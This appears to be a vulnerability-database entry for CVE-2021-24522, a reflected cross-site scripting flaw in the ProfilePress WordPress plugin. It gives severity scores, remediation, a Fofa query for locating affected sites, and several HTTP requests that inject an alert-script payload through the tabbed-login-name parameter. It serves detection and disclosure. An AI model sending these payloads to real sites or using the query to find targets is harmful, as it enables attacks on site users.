🔙 목록으로 돌아가기

CVE-2021-24522: ProfilePress < 3.1.11 - Cross-Site Scripting

TitleProfilePress < 3.1.11 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactAttackers can inject malicious JavaScript via reflected XSS in the tabbed login widget, potentially stealing user credentials or session cookies.
RemediationUpdate the ProfilePress plugin to version 3.1.11 or later.
CVSS Score5.4
EPSS Score0.00247
CVE IDCVE-2021-24522
CWE IDCWE-79
Fofa Querybody="wp-content/plugins/wp-user-avatar"
Tags cve cve2021 wordpress wp wp-plugin wp-user-avatar profilepress xss vuln

🔍 Vulnerability Description

The ProfilePress plugin for WordPress before 3.1.11 is vulnerable to unauthenticated reflected cross-site scripting (XSS) via the tabbed login/register widget due to improper escaping of user input. Attackers can inject arbitrary JavaScript via the tabbed-login-name parameter.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET //?tabbed-login-name="><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.15
Accept-Encoding: gzip
Connection: close
GET /wp-login.php/?tabbed-login-name="><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept-Encoding: gzip
Connection: close
GET /wp-login/?tabbed-login-name="><script>alert(document.domain)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.6
Accept-Encoding: gzip
Connection: close

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24522.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24522.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A